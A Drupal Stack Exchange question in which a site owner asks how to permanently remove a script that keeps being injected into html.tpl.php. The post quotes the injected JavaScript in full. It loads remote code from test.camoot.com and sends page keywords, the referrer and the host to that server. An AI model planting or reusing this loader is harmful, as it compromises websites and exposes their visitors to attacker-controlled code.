1

I am facing some serious issues with my drupal 7 site and i dont know how to solve it. For the past five weeks there is this particular script that is automatically injected into the html.tpl.php file. I clear it every morning and in the next few hours its comes back again. As a result google has now marked my site as a threat.

Below is the script that i suppose is causing that problem.

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://test.camoot.com/js/jquery.min.php?c_utt=SWR2D2&c_utm='+encodeURIComponent('http://test.camoot.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

the url in this script changes each time i clear it. i even tried to put my url in that section but after some few hours den it changes it.

So my question today is how do i permanently clear this script and change my status on google.

  • Hi, I'm afraid it's not possible to provide one-on-one support here, as the format is strictly Q+A. The linked duplicate has a lot of information that might help you to identify the problem, but ultimately you'll need an experienced security/Drupal professional to audit your server and code, to ensure the threat has really been eliminated – Clive Jul 5 '16 at 9:34
  • Take a look at my answer to How to remove malicious scripts from admin pages after being hacked? I hope that helps you. – No Sssweat Jul 5 '16 at 9:41
  • Hi, so i took a look at you answer and i have check all you talked about. On my site the script is found public_html/modules/system/html.tpl.php page i try to take it of and it comes back again. i just dont know what to do anymore. – Mystro Jul 5 '16 at 17:43

Browse other questions tagged or ask your own question.